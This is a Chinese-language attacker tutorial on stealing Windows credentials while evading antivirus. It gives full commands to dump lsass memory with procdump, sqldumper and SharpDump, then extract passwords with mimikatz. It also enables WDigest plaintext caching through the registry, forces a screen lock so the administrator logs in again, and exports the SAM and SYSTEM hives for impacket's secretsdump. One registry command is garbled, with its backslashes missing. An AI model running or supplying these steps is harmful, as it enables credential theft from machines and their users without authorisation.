目前大部分抓Windows密码的工具都会被杀软拦截,例如mimikatz,wce,pwdump等,下面介绍几种具有一定免杀效果的抓密码方式。
一、Procdump
Procdump是Windows工具包里的一款工具,由于有微软的官方签名,所以大部分杀软不会查杀。
sysinternals工具包下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/
- 获取内存文件lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
- 将lsass.dmp下载到攻击者的电脑上
- 使用本地的mimikatz.exe读取lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
二、SqlDumper
如果目标安装了mssql,可以通过sqldumper.exe来dump lsass进程,没安装也可以手动上传。
sqldumper的默认路径:C:\Program Files\Microsoft SQL Server\110\Shared
- 先找到lsass.exe的进程id
tasklist|findstr "lsass.exe"
- 导出dmp文件
sqldumper.exe <pid> 0 0x01100
- 将导出的SQLDmpr0001.mdmp下载到攻击者的电脑上
- 使用本地的mimikatz.exe进行读取
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"
三、SharpDump
体积小巧(不到10KB),便于自己做免杀处理,下载地址:
https://github.com/GhostPack/SharpDump
- 首先需要使用vs编译成exe文件
- 把lsass.exe进程数据导出来
C:\Users\Administrator\Desktop>SharpDump.exe
- dump的文件是 bin 后缀,拖到本地机器上以后,先重命名为 zip 后缀,然后解压
- 使用本地的mimikatz进行读取
mimikatz.exe "sekurlsa::minidump debug516" "sekurlsa::logonPasswords full" "exit"
四、Win10及2012以后的系统,如何抓取明文?
当系统为win10或2012以上时,默认在Wdigest内存中禁止保存明文密码(hash可以抓到),可以通过修改注册表的方式进行绕过。
- 修改注册表
打开:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
- 开启 Wdigest Auth 后,需要重新登录才能抓到明文,可以使用强制锁屏的方式,让管理员重新登录。
rundll32 user32.dll,LockWorkStation
- 登录后,再使用Procdump获取内存lsass.exe中的信息,就可以得到明文了。
说明:如果杀毒软件有dump内存文件保护,则以上方式无法免杀。
补充:免杀抓hash
使用注册表导出Hash,再通过impacket进行离线读取,实战中大部分杀软都不会拦截。
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv
python secretsdump.py -sam sam.hiv -security security.hiv -system sys.hiv LOCAL